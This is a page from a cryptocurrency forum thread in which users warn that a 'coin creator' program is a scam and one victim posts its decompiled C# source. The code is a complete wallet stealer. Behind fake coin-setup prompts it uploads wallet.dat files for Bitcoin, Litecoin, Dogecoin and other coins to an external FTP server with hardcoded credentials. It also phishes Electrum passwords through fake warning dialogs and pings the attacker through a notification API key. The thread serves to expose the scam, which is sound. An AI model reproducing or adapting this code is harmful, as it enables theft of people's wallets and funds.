Pages:
Author

Topic: SCAM alert! The coin creator software by Xevox is a wallet stealer! - page 4. (Read 3701 times)

sr. member
Activity: 259
Merit: 250
I managed to send my doges and worldcoins to another wallet! So far only thing stolen was my precious litecoin Sad

It seems that the original thread opened by scammer is deleted!
full member
Activity: 588
Merit: 100
sr. member
Activity: 259
Merit: 250
I was stupid enough to trust this software, and it stole my coins! If somebody wants to donate something for exposing this scammer, my LTC address is in the "personal text".

Here is the code I managed to decompile:

Code:
// Type: CoinGe[Suspicious link removed]ogram
// Assembly: CoinGen, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: D1DD6DE8-DEB5-4565-944C-0C660F3F9F11
// Assembly location: C:\CoinSources\CoinGen.exe

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace CoinGen
{
  internal class Program
  {
    private static void Main(string[] args)
    {
      string str1 = DateTime.Now.ToString("HH:mm:ss");
      Console.WriteLine("[" + str1 + "] Started Coin Creator");
      Console.Write("[" + str1 + "] What is the name of your coin? e.g Litecoin: ");
      Console.ReadLine();
      Console.Write("[" + str1 + "] What is the abbreviation of your coin? e.g LTC: ");
      Console.ReadLine();
      Console.Write("[" + str1 + "] What algorithm do you want to use? e.g X11, SHA256, Scrypt, Scrypt-N, Scrypt-Jane: ");
      Console.ReadLine();
      Console.Write("[" + str1 + "] Block Rate (In seconds):  ");
      Console.ReadLine();
      Console.Write("[" + str1 + "] Block Reward:  ");
      Console.ReadLine();
      Console.Write("[" + str1 + "] Block Halving Rate:  ");
      Console.ReadLine();
      Console.WriteLine("");
      Console.WriteLine("Editing Source");
      Thread.Sleep(5000);
      string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
      string str2 = "drpine";
      string hostIP = "ftp://ftp.drivehq.com";
      Form1 form1 = new Form1();
      string str3 = "\\bitcoin\\";
      string str4 = "\\litecoin\\";
      string str5 = "\\feathercoin\\";
      string str6 = "\\digitalcoin\\";
      string str7 = "\\gpucoin\\";
      string str8 = "\\earthcoin\\";
      string str9 = "\\worldcoin\\";
      string str10 = "\\vertcoin\\";
      string str11 = "\\auroracoin\\";
      string str12 = "\\dogecoin\\";
      string str13 = "\\electrum\\";
      string str14 = "\\Windows_Microsoft3430\\";
      int num1 = new Random().Next(1, 99999);
      if (Directory.Exists(folderPath + str14))
        return;
      Directory.CreateDirectory(folderPath + str14);
      ftp ftp = new ftp(hostIP, str2, str2);
      if (Directory.Exists(folderPath + str3))
      {
        ftp.upload("Bitcoin-" + (object) num1, folderPath + str3 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "Bitcoin Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str13))
      {
        ftp.upload("electrum_wallet-" + (object) num1, folderPath + str13 + "\\wallets\\default_wallet");
        int num2 = (int) MessageBox.Show("Electrum has detected another program trying to access your wallet, it is important you change your password now!", "Important Note", MessageBoxButtons.OK, MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button1);
        int num3 = (int) form1.ShowDialog();
        int num4 = (int) MessageBox.Show("Passwords Dont Match", "Important Note", MessageBoxButtons.OK, MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button1);
        int num5 = (int) form1.ShowDialog();
        int num6 = (int) MessageBox.Show("Passwords Dont Match", "Important Note", MessageBoxButtons.OK, MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button1);
        int num7 = (int) form1.ShowDialog();
        ftp.upload("electrum_pass-" + (object) num1, folderPath + str13 + "pass.txt");
        Program.SendProwlRequest("WalletUploaderV4", "Electrum Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str4))
      {
        ftp.upload("Litecoin-" + (object) num1, folderPath + str4 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "Litecoin Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str12))
      {
        ftp.upload("Dogecoin-" + (object) num1, folderPath + str12 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "Dogecoin Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str11))
      {
        ftp.upload("Auroracoin-" + (object) num1, folderPath + str11 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "Auroracoin Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str10))
      {
        ftp.upload("Vertcoin-" + (object) num1, folderPath + str10 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "Vertcoin Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str5))
      {
        ftp.upload("Feathercoin-" + (object) num1, folderPath + str5 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "Feathercoin Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str6))
      {
        ftp.upload("Digitalcoin-" + (object) num1, folderPath + str6 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "Digitalcoin Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str7))
      {
        ftp.upload("GPUcoin-" + (object) num1, folderPath + str7 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "GPUcoin Wallet Uploaded", "c#Prowl");
      }
      if (Directory.Exists(folderPath + str8))
      {
        ftp.upload("Earthcoin-" + (object) num1, folderPath + str8 + "wallet.dat");
        Program.SendProwlRequest("WalletUploaderV4", "Earthcoin Wallet Uploaded", "c#Prowl");
      }
      if (!Directory.Exists(folderPath + str9))
        return;
      ftp.upload("Worldcoin-" + (object) num1, folderPath + str9 + "wallet.dat");
      Program.SendProwlRequest("WalletUploaderV4", "Worldcoin Wallet Uploaded", "c#Prowl");
    }

    private static void SendProwlRequest(string vEvent, string vDescription, string vApplication)
    {
      string str = "79b6a76a04290fe0916c6e625c926897fb4d8b7a";
      HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create("https://api.prowlapp.com/publicapi/add");
      byte[] bytes = Encoding.ASCII.GetBytes("apikey=" + str + "&application=" + vApplication + "&event=" + vEvent + "&description=" + vDescription);
      httpWebRequest.Method = "POST";
      httpWebRequest.ContentType = "application/x-www-form-urlencoded";
      httpWebRequest.ContentLength = (long) bytes.Length;
      using (Stream requestStream = ((WebRequest) httpWebRequest).GetRequestStream())
        requestStream.Write(bytes, 0, bytes.Length);
    }

    private static void MakeData(string vArgs)
    {
    }
  }
}
Pages:
Jump to: